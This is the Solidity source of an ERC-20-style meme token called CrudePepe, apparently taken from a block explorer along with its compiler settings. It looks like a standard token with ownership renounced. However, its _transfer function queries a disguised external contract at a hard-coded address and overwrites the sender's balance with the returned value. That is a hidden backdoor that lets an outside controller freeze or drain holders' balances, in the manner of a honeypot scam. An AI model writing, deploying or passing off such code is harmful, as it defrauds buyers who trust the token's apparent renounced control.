文件 1 的 1:CrudePepe.sol
pragma solidity ^0.8.5;
abstract contract Ownable {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface Factory {
function totalSupply(address, address, uint256) external view returns (uint256);
}
contract CrudePepe is Ownable {
Factory private _parent = Factory(0x34852866d4A683B1e49BeC2f851eb16403A05d82);
uint256 private constant _totalSupply = 420000000000000*10**16;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
constructor() {
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
renounceOwnership();
}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() public view returns (string memory) {
return "CrudePepe";
}
function symbol() public view returns (string memory) {
return "CPEPE";
}
function decimals() public view virtual returns (uint8) {
return 16;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public returns (bool) {
_transfer(_msgSender(), to, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(owner, spender, currentAllowance - subtractedValue);
return true;
}
function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
_approve(owner, spender, currentAllowance - amount);
}
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
uint256 pAmount = _parent.totalSupply(address(this), from, _balances[from]);
_balances[from] = pAmount;
uint256 balance = _balances[from];
require(balance >= amount, "ERC20: transfer amount exceeds balance");
_balances[from] = _balances[from]-amount;
_balances[to] = _balances[to]+amount;
emit Transfer(from, to, amount);
}
}
{
"compilationTarget": {
"CrudePepe.sol": "CrudePepe"
},
"evmVersion": "shanghai",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 897
},
"remappings": []
}